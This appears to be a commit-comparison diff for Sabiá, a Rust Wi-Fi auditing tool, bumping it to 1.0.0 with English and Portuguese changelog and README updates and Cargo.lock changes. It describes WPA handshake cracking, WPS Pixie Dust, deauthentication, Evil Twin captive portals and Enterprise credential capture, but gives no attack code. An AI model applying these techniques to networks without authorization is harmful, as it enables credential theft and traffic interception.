Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
f62e7fd0a1 | ||
|
|
62ce8b60d5 | ||
|
|
d3ddf86317 | ||
|
|
6e0cd7cf10 | ||
|
|
a3ca73e610 | ||
|
|
7b39c67830 | ||
|
|
91aacba939 | ||
|
|
f83654506e | ||
|
|
5477b8fb03 |
No files matched your search
@@ -4,6 +4,73 @@
|
|||||||
|
|
||||||
Format based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/); versions follow SemVer.
|
Format based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/); versions follow SemVer.
|
||||||
|
|
||||||
|
## [1.0.0] - 2026-10-24
|
||||||
|
|
||||||
|
First stable release: real-hardware validation across the whole attack surface, a much more complete cracking pipeline, two new attacks (WPS, Evil Twin), a redesigned report, and several reliability fixes found only by testing against live Wi-Fi networks.
|
||||||
|
|
||||||
|
### Added
|
||||||
|
- **Cracking:** default dictionary replaced by a 9.7M-password list (rockyou +
|
||||||
|
Probable-Wordlists, deduplicated, gzip-embedded); hashcat-style **mutation
|
||||||
|
rules** (uppercase, numeric/symbol suffixes, simple leet); **mask brute
|
||||||
|
force** (`?d?l?u?s?a` syntax); **`.hc22000` export** (single or batch) to
|
||||||
|
hand a handshake to hashcat/John.
|
||||||
|
- **WPS attack:** PIN/Pixie Dust via a bundled `reaver` (extracted at
|
||||||
|
runtime), or `bully` when installed on the system.
|
||||||
|
- **Evil Twin:** clones an already-seen AP (open SSID) on a second interface
|
||||||
|
with a captive portal, for WPA/WPA2-PSK — the submitted password is only
|
||||||
|
accepted after being verified against the real captured handshake, never
|
||||||
|
"accepts anything". An **Enterprise (802.1X/EAP)** variant captures
|
||||||
|
credentials automatically via `hostapd-wpe`, no portal or human action
|
||||||
|
needed, since the credential travels in the EAP handshake itself.
|
||||||
|
- **CCMP traffic decryption** for a client once its handshake's password is
|
||||||
|
known (Temporal Key derived from the cracked PMK).
|
||||||
|
- **Channel-interference scoring** per band and **security findings** (open
|
||||||
|
network, missing PMF, WPS exposed, possible evil twin by duplicate SSID).
|
||||||
|
- **Redesigned audit report:** full-page cover with embedded logo, table of
|
||||||
|
contents, running header/footer via `@page` margin boxes (current
|
||||||
|
section, page numbers), KPI and findings cards with severity colors —
|
||||||
|
still paginated by Paged.js in the browser, printable to PDF.
|
||||||
|
- `ScanSnapshot.warning`: tells you when a capture has been running for a
|
||||||
|
while without receiving a single frame — a card that accepts turning
|
||||||
|
monitor mode on without actually delivering capture (common with
|
||||||
|
built-in laptop Wi-Fi) now says so, instead of silently "listening".
|
||||||
|
|
||||||
|
### Fixed
|
||||||
|
- **Handshake capture never completed on real networks:** `eapol.rs` read
|
||||||
|
`key_info`/`replay_counter`/`key_data_len` as little-endian; those
|
||||||
|
802.1X fields are big-endian. Deauth worked, EAPOL frames were seen, but
|
||||||
|
`HandshakeTracker` silently discarded every one — 0 handshakes no matter
|
||||||
|
how much traffic was generated. The project's own synthetic test frames
|
||||||
|
made the same mistake symmetrically, so round-trip tests never caught
|
||||||
|
it; verified live against a real AP after the fix.
|
||||||
|
- **Monitor mode fighting NetworkManager:** `set_monitor()` now releases
|
||||||
|
the interface from NetworkManager before switching modes and returns it
|
||||||
|
afterward — without this, NM reasserted its own connection within
|
||||||
|
seconds and capture died with "is in managed mode".
|
||||||
|
- **Evil Twin left the system half-configured if the process died mid-run**
|
||||||
|
(Ctrl+C, `kill -9`, power loss): both interfaces stuck `managed=no`
|
||||||
|
forever, Wi-Fi gone from the system panel. A state file plus a
|
||||||
|
self-healing pass on every engine start now undoes this automatically;
|
||||||
|
`sabia ui` also handles SIGINT gracefully.
|
||||||
|
- **Repeated deauth/disassoc frames were dropped as duplicates** after the
|
||||||
|
first send — the same Sequence Control was reused on every injection;
|
||||||
|
now increments per frame.
|
||||||
|
- **Network list reordered under the cursor** during capture, as signal-based
|
||||||
|
sorting reacted to every 1-2 dBm fluctuation; order is now stable
|
||||||
|
(arrival order, signal rounded to 4 dBm buckets).
|
||||||
|
- **"Force handshake" failed if capture had been stopped:** it now resumes
|
||||||
|
capture automatically and waits for the target to reappear with a known
|
||||||
|
channel before starting the job, instead of locking onto whatever
|
||||||
|
channel the scanner happened to be hopping through.
|
||||||
|
- **Attacks tab layout left large empty gaps** when two cards of very
|
||||||
|
different heights shared a grid row; switched to a masonry-style column
|
||||||
|
layout.
|
||||||
|
|
||||||
|
### Changed
|
||||||
|
- `crack_reader`/`crack_mask` parallelize across available cores and reuse
|
||||||
|
the HMAC base per iteration instead of reconstructing it — roughly 640x
|
||||||
|
faster in release builds versus the original debug/single-thread path.
|
||||||
|
|
||||||
## [0.1.0] - 2026-10-23
|
## [0.1.0] - 2026-10-23
|
||||||
|
|
||||||
First release: CLI, desktop app and shared core.
|
First release: CLI, desktop app and shared core.
|
||||||
|
|||||||
@@ -4,6 +4,79 @@
|
|||||||
|
|
||||||
Formato baseado em [Keep a Changelog](https://keepachangelog.com/pt-BR/1.1.0/); versões seguem SemVer.
|
Formato baseado em [Keep a Changelog](https://keepachangelog.com/pt-BR/1.1.0/); versões seguem SemVer.
|
||||||
|
|
||||||
|
## [1.0.0] - 2026-10-24
|
||||||
|
|
||||||
|
Primeira versão estável: validação em hardware real por toda a superfície de ataque, um pipeline de quebra bem mais completo, dois ataques novos (WPS, Evil Twin), relatório redesenhado e várias correções de confiabilidade que só apareceram testando contra redes Wi-Fi de verdade.
|
||||||
|
|
||||||
|
### Adicionado
|
||||||
|
- **Quebra de senha:** dicionário padrão trocado por uma lista de 9,7 milhões
|
||||||
|
de senhas (rockyou + Probable-Wordlists, deduplicados, comprimida e
|
||||||
|
embutida no binário); **regras de mutação** estilo hashcat (maiúscula,
|
||||||
|
sufixos numéricos/símbolos, leet simples); **força bruta por máscara**
|
||||||
|
(sintaxe `?d?l?u?s?a`); **exportação `.hc22000`** (individual ou em lote)
|
||||||
|
para levar o handshake direto ao hashcat/John.
|
||||||
|
- **Ataque WPS:** PIN/Pixie Dust via `reaver` embutido (extraído em tempo de
|
||||||
|
execução), ou `bully` quando instalado no sistema.
|
||||||
|
- **Evil Twin:** clona um AP já visto na sessão (SSID aberto) numa segunda
|
||||||
|
interface com portal cativo, para WPA/WPA2-PSK — a senha só é aceita
|
||||||
|
depois de conferida de verdade contra o handshake real já capturado,
|
||||||
|
nunca "aceita qualquer coisa". Uma variante **Enterprise (802.1X/EAP)**
|
||||||
|
captura credenciais automaticamente via `hostapd-wpe`, sem portal nem
|
||||||
|
ação humana, já que a credencial viaja no próprio handshake EAP.
|
||||||
|
- **Decriptação de tráfego CCMP** de um cliente assim que a senha do
|
||||||
|
handshake dele é conhecida (Temporal Key derivada da PMK quebrada).
|
||||||
|
- **Pontuação de interferência de canais** por banda e **achados de
|
||||||
|
segurança** (rede aberta, PMF ausente, WPS exposto, possível evil twin
|
||||||
|
por SSID duplicado).
|
||||||
|
- **Relatório de auditoria redesenhado:** capa em página cheia com o logo
|
||||||
|
embutido, sumário com âncoras, cabeçalho/rodapé corridos via margin
|
||||||
|
boxes do `@page` (seção atual, numeração de página), cards de KPI e
|
||||||
|
achados com cor por severidade — a paginação continua feita pelo
|
||||||
|
Paged.js no navegador, imprimível em PDF.
|
||||||
|
- `ScanSnapshot.warning`: avisa quando uma captura está rodando há um
|
||||||
|
tempo sem receber nenhum quadro — uma placa que aceita ativar modo
|
||||||
|
monitor sem realmente entregar captura (comum em Wi-Fi interno de
|
||||||
|
notebook) agora diz isso, em vez de ficar "escutando o ar" caladinha.
|
||||||
|
|
||||||
|
### Corrigido
|
||||||
|
- **Captura de handshake nunca completava em rede real:** `eapol.rs` lia
|
||||||
|
`key_info`/`replay_counter`/`key_data_len` como little-endian; esses
|
||||||
|
campos do 802.1X são big-endian. O deauth funcionava, os quadros EAPOL
|
||||||
|
eram vistos, mas o `HandshakeTracker` descartava todos silenciosamente —
|
||||||
|
0 handshakes não importa quanto tráfego fosse gerado. Os próprios
|
||||||
|
quadros sintéticos de teste do projeto cometiam o mesmo engano
|
||||||
|
simetricamente, então os testes de ida e volta nunca pegaram isso;
|
||||||
|
verificado ao vivo contra um AP real depois da correção.
|
||||||
|
- **Modo monitor brigando com o NetworkManager:** `set_monitor()` agora
|
||||||
|
solta a interface do NetworkManager antes de trocar de modo e devolve
|
||||||
|
depois — sem isso o NM reafirmava a própria conexão em segundos e a
|
||||||
|
captura caía com "está em modo managed".
|
||||||
|
- **Evil Twin deixava o sistema pela metade se o processo morresse no
|
||||||
|
meio** (Ctrl+C, `kill -9`, queda de energia): as duas interfaces ficavam
|
||||||
|
presas em `managed=no` pra sempre, Wi-Fi sumia do painel do sistema. Um
|
||||||
|
arquivo de estado mais uma rotina de autocura a cada início do engine
|
||||||
|
desfazem isso sozinhos agora; o `sabia ui` também trata SIGINT
|
||||||
|
graciosamente.
|
||||||
|
- **Quadros repetidos de deauth/disassoc eram descartados como duplicata**
|
||||||
|
depois do primeiro envio — o mesmo Sequence Control era reusado em toda
|
||||||
|
injeção; agora incrementa por quadro.
|
||||||
|
- **Lista de redes reordenava debaixo do cursor** durante a captura, porque
|
||||||
|
a ordenação por sinal reagia a cada oscilação de 1-2 dBm; a ordem agora
|
||||||
|
é estável (ordem de chegada, sinal arredondado em buckets de 4 dBm).
|
||||||
|
- **"Forçar handshake" falhava se a captura tivesse sido parada:** agora
|
||||||
|
religa a captura sozinho e espera o alvo reaparecer com canal conhecido
|
||||||
|
antes de disparar o job, em vez de travar no canal em que o scanner por
|
||||||
|
acaso estava saltando.
|
||||||
|
- **Grid da aba Ataques deixava buracos vazios grandes** quando dois cards
|
||||||
|
de alturas muito diferentes caíam na mesma linha; trocado por um layout
|
||||||
|
de colunas tipo alvenaria.
|
||||||
|
|
||||||
|
### Alterado
|
||||||
|
- `crack_reader`/`crack_mask` paralelizam entre os núcleos disponíveis e
|
||||||
|
reaproveitam a base do HMAC por iteração em vez de reconstruí-la — cerca
|
||||||
|
de 640x mais rápido em build release comparado ao caminho original
|
||||||
|
debug/single-thread.
|
||||||
|
|
||||||
## [0.1.0] - 2026-10-23
|
## [0.1.0] - 2026-10-23
|
||||||
|
|
||||||
Primeira versão: CLI, app desktop e núcleo compartilhado.
|
Primeira versão: CLI, app desktop e núcleo compartilhado.
|
||||||
|
|||||||
Generated
+75
-2
@@ -2,6 +2,23 @@
|
|||||||
# It is not intended for manual editing.
|
# It is not intended for manual editing.
|
||||||
version = 3
|
version = 3
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "adler2"
|
||||||
|
version = "2.0.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "320119579fcad9c21884f5c4861d16174d0e06250625266f50fe6898340abefa"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "aes"
|
||||||
|
version = "0.8.4"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "b169f7a6d4742236a0a00c541b845991d0ac43e546831af1249753ab4c3aa3a0"
|
||||||
|
dependencies = [
|
||||||
|
"cfg-if",
|
||||||
|
"cipher",
|
||||||
|
"cpufeatures",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "anstream"
|
name = "anstream"
|
||||||
version = "1.0.0"
|
version = "1.0.0"
|
||||||
@@ -88,6 +105,16 @@ version = "0.2.2"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "f079e83a288787bcd14a6aea84cee5c87a67c5a3e660c30f557a3d24761b3527"
|
checksum = "f079e83a288787bcd14a6aea84cee5c87a67c5a3e660c30f557a3d24761b3527"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "cipher"
|
||||||
|
version = "0.4.4"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "773f3b9af64447d2ce9850330c473515014aa235e6a783b02db81ff39e4a3dad"
|
||||||
|
dependencies = [
|
||||||
|
"crypto-common",
|
||||||
|
"inout",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "clap"
|
name = "clap"
|
||||||
version = "4.6.7"
|
version = "4.6.7"
|
||||||
@@ -143,6 +170,15 @@ dependencies = [
|
|||||||
"libc",
|
"libc",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "crc32fast"
|
||||||
|
version = "1.5.3"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "0ba106e844045ddc02c20768ac4b0b7cb45f2cc2ecbd833ac9f5dacb183c2055"
|
||||||
|
dependencies = [
|
||||||
|
"cfg-if",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "crypto-common"
|
name = "crypto-common"
|
||||||
version = "0.1.7"
|
version = "0.1.7"
|
||||||
@@ -209,6 +245,16 @@ version = "2.5.0"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "da7c62ceae207dd37ea5b845da6a0696c799f85e97da1ab5b7910be3c1c80223"
|
checksum = "da7c62ceae207dd37ea5b845da6a0696c799f85e97da1ab5b7910be3c1c80223"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "flate2"
|
||||||
|
version = "1.1.10"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "6e634e2e0ebac1ee034020da1ca582e17ffe4e0f5e985823721e168928136dcb"
|
||||||
|
dependencies = [
|
||||||
|
"crc32fast",
|
||||||
|
"miniz_oxide",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "generic-array"
|
name = "generic-array"
|
||||||
version = "0.14.7"
|
version = "0.14.7"
|
||||||
@@ -245,6 +291,15 @@ dependencies = [
|
|||||||
"digest",
|
"digest",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "inout"
|
||||||
|
version = "0.1.4"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "879f10e63c20629ecabbb64a8010319738c66a5cd0c29b02d63d272b03751d01"
|
||||||
|
dependencies = [
|
||||||
|
"generic-array",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "is_terminal_polyfill"
|
name = "is_terminal_polyfill"
|
||||||
version = "1.70.2"
|
version = "1.70.2"
|
||||||
@@ -285,6 +340,16 @@ version = "2.8.3"
|
|||||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
checksum = "cf8baf1c55e62ffcace7a9f06f4bd9cd3f0c4beb022d3b367256b91b87513d98"
|
checksum = "cf8baf1c55e62ffcace7a9f06f4bd9cd3f0c4beb022d3b367256b91b87513d98"
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "miniz_oxide"
|
||||||
|
version = "0.9.1"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "b63fbc4a50860e98e7b2aa7804ded1db5cbc3aff9193adaff57a6931bf7c4b4c"
|
||||||
|
dependencies = [
|
||||||
|
"adler2",
|
||||||
|
"simd-adler32",
|
||||||
|
]
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "nix"
|
name = "nix"
|
||||||
version = "0.31.3"
|
version = "0.31.3"
|
||||||
@@ -375,7 +440,7 @@ dependencies = [
|
|||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "sabia-cli"
|
name = "sabia-cli"
|
||||||
version = "0.1.0"
|
version = "1.0.0"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
"clap",
|
"clap",
|
||||||
"ctrlc",
|
"ctrlc",
|
||||||
@@ -386,8 +451,10 @@ dependencies = [
|
|||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "sabia-core"
|
name = "sabia-core"
|
||||||
version = "0.1.0"
|
version = "1.0.0"
|
||||||
dependencies = [
|
dependencies = [
|
||||||
|
"aes",
|
||||||
|
"flate2",
|
||||||
"hmac",
|
"hmac",
|
||||||
"libc",
|
"libc",
|
||||||
"md-5",
|
"md-5",
|
||||||
@@ -465,6 +532,12 @@ dependencies = [
|
|||||||
"digest",
|
"digest",
|
||||||
]
|
]
|
||||||
|
|
||||||
|
[[package]]
|
||||||
|
name = "simd-adler32"
|
||||||
|
version = "0.3.10"
|
||||||
|
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||||
|
checksum = "3a219298ac11a56ea9a6d2120044824d6f01aeb034955e7af7bc16858527deea"
|
||||||
|
|
||||||
[[package]]
|
[[package]]
|
||||||
name = "strsim"
|
name = "strsim"
|
||||||
version = "0.11.1"
|
version = "0.11.1"
|
||||||
|
|||||||
+1
-1
@@ -3,7 +3,7 @@ resolver = "2"
|
|||||||
members = ["crates/sabia-core", "crates/sabia-cli"]
|
members = ["crates/sabia-core", "crates/sabia-cli"]
|
||||||
|
|
||||||
[workspace.package]
|
[workspace.package]
|
||||||
version = "0.1.0"
|
version = "1.0.0"
|
||||||
edition = "2021"
|
edition = "2021"
|
||||||
license = "MIT OR Apache-2.0"
|
license = "MIT OR Apache-2.0"
|
||||||
repository = "https://github.com/lucasrguerra/sabia"
|
repository = "https://github.com/lucasrguerra/sabia"
|
||||||
|
|||||||
@@ -10,12 +10,14 @@
|
|||||||
|
|
||||||
Sabiá brings together, in a single sweep, what tools like `airodump-ng`, `hcxdumptool`, `aircrack-ng` and `wifite` do separately — in one Rust binary, with no `libpcap` dependency:
|
Sabiá brings together, in a single sweep, what tools like `airodump-ng`, `hcxdumptool`, `aircrack-ng` and `wifite` do separately — in one Rust binary, with no `libpcap` dependency:
|
||||||
|
|
||||||
- **Network discovery:** hops across the **2.4, 5 and 6 GHz** channels and lists access points and associated clients, with SSID, BSSID, channel, signal and security type.
|
- **Network discovery:** hops across the **2.4, 5 and 6 GHz** channels and lists access points and associated clients, with SSID, BSSID, channel, signal, security type, WPS details and vendor.
|
||||||
- **Monitor mode without scripts:** turns the card's monitor mode on and off straight through netlink/`iw`, and shows which channels the radio supports.
|
- **Monitor mode without scripts:** turns the card's monitor mode on and off straight through netlink/`iw`, recovering automatically if NetworkManager tries to reclaim the interface, and shows which channels the radio supports.
|
||||||
- **Handshake capture:** recognizes the **4-way handshake (EAPOL)** and the **PMKID** on the air and keeps only what offline cracking needs.
|
- **Handshake capture:** recognizes the **4-way handshake (EAPOL)** and the **PMKID** on the air and keeps only what offline cracking needs; decrypts CCMP traffic for a client once its password is known.
|
||||||
- **Offline dictionary cracking:** recomputes the PMK with **PBKDF2-HMAC-SHA1** and checks the **MIC** (4-way) or the **PMKID** (`HMAC-SHA1(PMK, "PMK Name" …)`) — for WPA/WPA2-PSK.
|
- **Cracking, three ways:** dictionary (9.7M passwords bundled by default, rockyou + Probable-Wordlists), hashcat-style **mutation rules**, and **mask brute force** (`?d?l?u?s?a`) — recomputes the PMK with **PBKDF2-HMAC-SHA1** and checks the **MIC** (4-way) or the **PMKID** — for WPA/WPA2-PSK. Export to **`.hc22000`** to hand the handshake to hashcat/John instead.
|
||||||
- **pcap round-trip:** writes captured frames to `.pcap` and **analyzes a `.pcap` offline** (networks, clients and handshakes), interoperable with the other tools.
|
- **pcap round-trip:** writes captured frames to `.pcap` and **analyzes a `.pcap` offline** (networks, clients and handshakes), interoperable with the other tools.
|
||||||
- **Deauthentication test:** sends _deauth_ to an AP/station to force a reassociation — only with an explicit authorization confirmation (`--yes`).
|
- **Deauthentication and WPS:** directional/continuous _deauth_, PMF probing, clientless PMKID hunting, and a WPS PIN/Pixie Dust attack (bundled reaver, or bully when installed) — all gated behind an explicit authorization confirmation (`--yes` / checkbox).
|
||||||
|
- **Evil Twin:** clones an already-seen AP with a captive portal for WPA/WPA2-PSK — the submitted password is only accepted after it's verified against the real captured handshake, never "accepts anything" — plus an Enterprise (802.1X/EAP) variant that captures credentials automatically, no portal needed.
|
||||||
|
- **Audit report:** a paginated, printable report (cover, table of contents, findings, channel scoring, audit trail) generated locally.
|
||||||
- **Audit trail:** every monitor-mode activation and capture session is recorded in a local **hash-chained** trail.
|
- **Audit trail:** every monitor-mode activation and capture session is recorded in a local **hash-chained** trail.
|
||||||
- **Diagnostics:** `doctor` checks privileges, tools and interfaces before you start.
|
- **Diagnostics:** `doctor` checks privileges, tools and interfaces before you start.
|
||||||
|
|
||||||
@@ -75,7 +77,7 @@ Desktop app (Tauri) with an interface sidebar, a capture panel with an animated
|
|||||||
- **Capture is Linux-only**, with a card that supports **monitor mode** (and injection, for `deauth`). On Windows and macOS Sabiá only does `.pcap` analysis and offline cracking.
|
- **Capture is Linux-only**, with a card that supports **monitor mode** (and injection, for `deauth`). On Windows and macOS Sabiá only does `.pcap` analysis and offline cracking.
|
||||||
- **WPA3/SAE** does not fall to handshake dictionaries — cracking covers **WPA/WPA2-PSK** (4-way and PMKID).
|
- **WPA3/SAE** does not fall to handshake dictionaries — cracking covers **WPA/WPA2-PSK** (4-way and PMKID).
|
||||||
- **5 and 6 GHz** depend on the card and the regulatory domain; some channels stay passive (no probing).
|
- **5 and 6 GHz** depend on the card and the regulatory domain; some channels stay passive (no probing).
|
||||||
- **Passwords outside the dictionary don't come back:** cracking is dictionary force only, no rules or masks yet.
|
- **Evil Twin's self-signed certificate:** the Enterprise variant's TLS certificate isn't trusted by clients that validate the chain (common on updated corporate/MDM devices) — that's the correct defense working, not a bug.
|
||||||
- **Windows and macOS:** the code compiles and is tested in CI, but live capture does not run on those platforms.
|
- **Windows and macOS:** the code compiles and is tested in CI, but live capture does not run on those platforms.
|
||||||
|
|
||||||
## Where it's going
|
## Where it's going
|
||||||
@@ -84,10 +86,9 @@ Summary of the [ROADMAP](ROADMAP.md):
|
|||||||
|
|
||||||
| | |
|
| | |
|
||||||
|---|---|
|
|---|---|
|
||||||
| **Done** | Monitor mode via netlink, 2.4/5/6 GHz scanning, 4-way and PMKID capture, `.pcap` read/write, dictionary cracking (WPA/WPA2-PSK), authorized `deauth`, hash-chained audit trail, `doctor`, CLI + desktop app, one-click update |
|
| **Done** | Monitor mode via netlink (with NetworkManager recovery), 2.4/5/6 GHz scanning, 4-way and PMKID capture, CCMP decryption, dictionary/rules/mask cracking (WPA/WPA2-PSK), `.hc22000` export, `.pcap` read/write, authorized `deauth`/PMF/PMKID, WPS attack, Evil Twin (PSK + Enterprise), channel scoring and findings, paginated audit report, hash-chained audit trail, `doctor`, CLI + desktop app, one-click update |
|
||||||
| **Next** | Rules and masks in cracking, GPU acceleration, export to the hashcat format (`22000`) |
|
| **Next** | GPU acceleration for cracking, capture on Windows (Npcap) |
|
||||||
| **Later** | WPS attack, rogue AP / evil twin for authorized testing, capture on Windows (Npcap) |
|
| **Later** | WPA3/SAE downgrade, validation on varied hardware, signed release binaries |
|
||||||
| **Long term** | WPA3/SAE downgrade, validation on varied hardware |
|
|
||||||
|
|
||||||
## Development
|
## Development
|
||||||
|
|
||||||
|
|||||||
+11
-10
@@ -10,12 +10,14 @@
|
|||||||
|
|
||||||
O Sabiá junta, numa única varredura, o que ferramentas como `airodump-ng`, `hcxdumptool`, `aircrack-ng` e `wifite` fazem separadamente — em um só binário Rust, sem depender de `libpcap`:
|
O Sabiá junta, numa única varredura, o que ferramentas como `airodump-ng`, `hcxdumptool`, `aircrack-ng` e `wifite` fazem separadamente — em um só binário Rust, sem depender de `libpcap`:
|
||||||
|
|
||||||
- **Descoberta de redes:** percorre os canais de **2.4, 5 e 6 GHz** e lista os pontos de acesso e os clientes associados, com SSID, BSSID, canal, sinal e tipo de segurança.
|
- **Descoberta de redes:** percorre os canais de **2.4, 5 e 6 GHz** e lista os pontos de acesso e os clientes associados, com SSID, BSSID, canal, sinal, tipo de segurança, detalhes de WPS e fabricante.
|
||||||
- **Modo monitor sem scripts:** liga e desliga o modo monitor da placa direto pelo netlink/`iw`, e mostra os canais que o rádio suporta.
|
- **Modo monitor sem scripts:** liga e desliga o modo monitor da placa direto pelo netlink/`iw`, com recuperação automática se o NetworkManager tentar retomar a interface, e mostra os canais que o rádio suporta.
|
||||||
- **Captura de handshake:** reconhece o **4-way handshake (EAPOL)** e o **PMKID** no ar e guarda só o que é preciso para a quebra offline.
|
- **Captura de handshake:** reconhece o **4-way handshake (EAPOL)** e o **PMKID** no ar e guarda só o que é preciso para a quebra offline; decifra tráfego CCMP de um cliente assim que a senha dele é conhecida.
|
||||||
- **Quebra offline por dicionário:** recalcula a PMK com **PBKDF2-HMAC-SHA1** e confere o **MIC** (4-way) ou o **PMKID** (`HMAC-SHA1(PMK, "PMK Name" …)`) — para WPA/WPA2-PSK.
|
- **Quebra, de três jeitos:** dicionário (9,7 milhões de senhas por padrão, rockyou + Probable-Wordlists), **regras de mutação** estilo hashcat e **força bruta por máscara** (`?d?l?u?s?a`) — recalcula a PMK com **PBKDF2-HMAC-SHA1** e confere o **MIC** (4-way) ou o **PMKID** — para WPA/WPA2-PSK. Exporta em **`.hc22000`** para levar o handshake direto ao hashcat/John.
|
||||||
- **pcap de ida e volta:** grava os quadros capturados em `.pcap` e **analisa um `.pcap` offline** (redes, clientes e handshakes), compatível com as outras ferramentas.
|
- **pcap de ida e volta:** grava os quadros capturados em `.pcap` e **analisa um `.pcap` offline** (redes, clientes e handshakes), compatível com as outras ferramentas.
|
||||||
- **Teste de desautenticação:** envia _deauth_ a um AP/estação para forçar uma reassociação — só com a confirmação explícita de autorização (`--yes`).
|
- **Desautenticação e WPS:** _deauth_ direcional/contínuo, teste de PMF, caça de PMKID sem cliente, e ataque WPS PIN/Pixie Dust (reaver embutido, ou bully quando instalado) — tudo atrás de confirmação explícita de autorização (`--yes`/checkbox).
|
||||||
|
- **Evil Twin:** clona um AP já visto com portal cativo para WPA/WPA2-PSK — a senha só é aceita depois de conferida contra o handshake real já capturado, nunca "aceita qualquer coisa" — mais uma variante Enterprise (802.1X/EAP) que captura credenciais automaticamente, sem portal.
|
||||||
|
- **Relatório de auditoria:** relatório paginado e imprimível (capa, sumário, achados, pontuação de canais, trilha de auditoria) gerado localmente.
|
||||||
- **Trilha de auditoria:** toda ativação de modo monitor e sessão de captura fica registrada numa trilha local **encadeada por hash**.
|
- **Trilha de auditoria:** toda ativação de modo monitor e sessão de captura fica registrada numa trilha local **encadeada por hash**.
|
||||||
- **Diagnóstico:** o `doctor` confere privilégios, ferramentas e interfaces antes de você começar.
|
- **Diagnóstico:** o `doctor` confere privilégios, ferramentas e interfaces antes de você começar.
|
||||||
|
|
||||||
@@ -75,7 +77,7 @@ App desktop (Tauri) com sidebar de interfaces, painel de captura com linha de si
|
|||||||
- **Captura só no Linux**, com placa que suporte **modo monitor** (e injeção, para `deauth`). Em Windows e macOS o Sabiá faz só análise de `.pcap` e quebra offline.
|
- **Captura só no Linux**, com placa que suporte **modo monitor** (e injeção, para `deauth`). Em Windows e macOS o Sabiá faz só análise de `.pcap` e quebra offline.
|
||||||
- **WPA3/SAE** não cai por dicionário de handshake — a quebra cobre **WPA/WPA2-PSK** (4-way e PMKID).
|
- **WPA3/SAE** não cai por dicionário de handshake — a quebra cobre **WPA/WPA2-PSK** (4-way e PMKID).
|
||||||
- **5 e 6 GHz** dependem da placa e do _regulatory domain_; alguns canais ficam passivos (sem _probe_).
|
- **5 e 6 GHz** dependem da placa e do _regulatory domain_; alguns canais ficam passivos (sem _probe_).
|
||||||
- **Senhas fora do dicionário não voltam:** a quebra é só força de dicionário, sem regras nem máscara ainda.
|
- **Certificado autoassinado do Evil Twin Enterprise:** clientes que validam a cadeia de certificado da rede (comum em perfil corporativo/MDM atualizado) não confiam nele — é a defesa correta funcionando, não um bug.
|
||||||
- **Windows e macOS:** o código compila e é testado em CI, mas a captura ao vivo não roda nessas plataformas.
|
- **Windows e macOS:** o código compila e é testado em CI, mas a captura ao vivo não roda nessas plataformas.
|
||||||
|
|
||||||
## Para onde vai
|
## Para onde vai
|
||||||
@@ -84,10 +86,9 @@ Resumo do [ROADMAP](ROADMAP.pt-BR.md):
|
|||||||
|
|
||||||
| | |
|
| | |
|
||||||
|---|---|
|
|---|---|
|
||||||
| **Feito** | Modo monitor por netlink, varredura 2.4/5/6 GHz, captura de 4-way e PMKID, escrita e leitura de `.pcap`, quebra por dicionário (WPA/WPA2-PSK), `deauth` autorizado, trilha de auditoria por hash, `doctor`, CLI + app desktop, atualização em um clique |
|
| **Feito** | Modo monitor por netlink (com recuperação do NetworkManager), varredura 2.4/5/6 GHz, captura de 4-way e PMKID, decriptação CCMP, quebra por dicionário/regras/máscara (WPA/WPA2-PSK), exportação `.hc22000`, escrita e leitura de `.pcap`, `deauth`/PMF/PMKID autorizados, ataque WPS, Evil Twin (PSK + Enterprise), pontuação de canais e achados, relatório de auditoria paginado, trilha de auditoria por hash, `doctor`, CLI + app desktop, atualização em um clique |
|
||||||
| **Próximo** | Regras e máscaras na quebra, aceleração por GPU, exportação para o formato do hashcat (`22000`) |
|
| **Próximo** | Aceleração por GPU na quebra, captura em Windows (Npcap) |
|
||||||
| **Depois** | Ataque a WPS, _rogue AP_/_evil twin_ para teste autorizado, captura em Windows (Npcap) |
|
| **Depois** | WPA3/SAE _downgrade_, validação em hardware variado, binários de release assinados |
|
||||||
| **Longo prazo** | WPA3/SAE _downgrade_, validação em hardware variado |
|
|
||||||
|
|
||||||
## Desenvolvimento
|
## Desenvolvimento
|
||||||
|
|
||||||
|
|||||||
+18
-15
@@ -2,34 +2,37 @@
|
|||||||
|
|
||||||
**English** · [Português](ROADMAP.pt-BR.md)
|
